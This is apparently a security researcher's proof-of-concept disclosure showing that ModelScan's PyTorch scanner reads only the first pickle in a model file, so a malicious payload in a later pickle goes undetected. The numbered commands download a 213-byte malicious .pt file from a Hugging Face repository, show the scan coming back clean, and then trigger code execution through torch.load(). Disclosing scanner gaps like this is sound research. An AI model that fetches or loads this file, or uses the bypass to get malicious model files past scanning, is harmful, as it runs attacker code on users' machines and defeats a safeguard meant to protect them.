Views
No views yet
PyTorchUnsafeOpScan uses multiple_pickles=False, causing it to scan only pickle 1 (magic number). The malicious payload in pickle 4 is completely invisible to the scanner. Even already-blocked modules like os.system work.1pip install modelscan
2wget https://huggingface.co/xiaoyaoes/pytorch-multipickle-bypass-poc/resolve/main/rce_poc.pt
3
4# ModelScan: "No issues found!"
5modelscan scan -p rce_poc.pt
6
7# torch.load(): RCE triggered
8python3 -c "import torch; torch.load('rce_poc.pt')"rce_poc.pt (213 bytes)
Author: Security researcher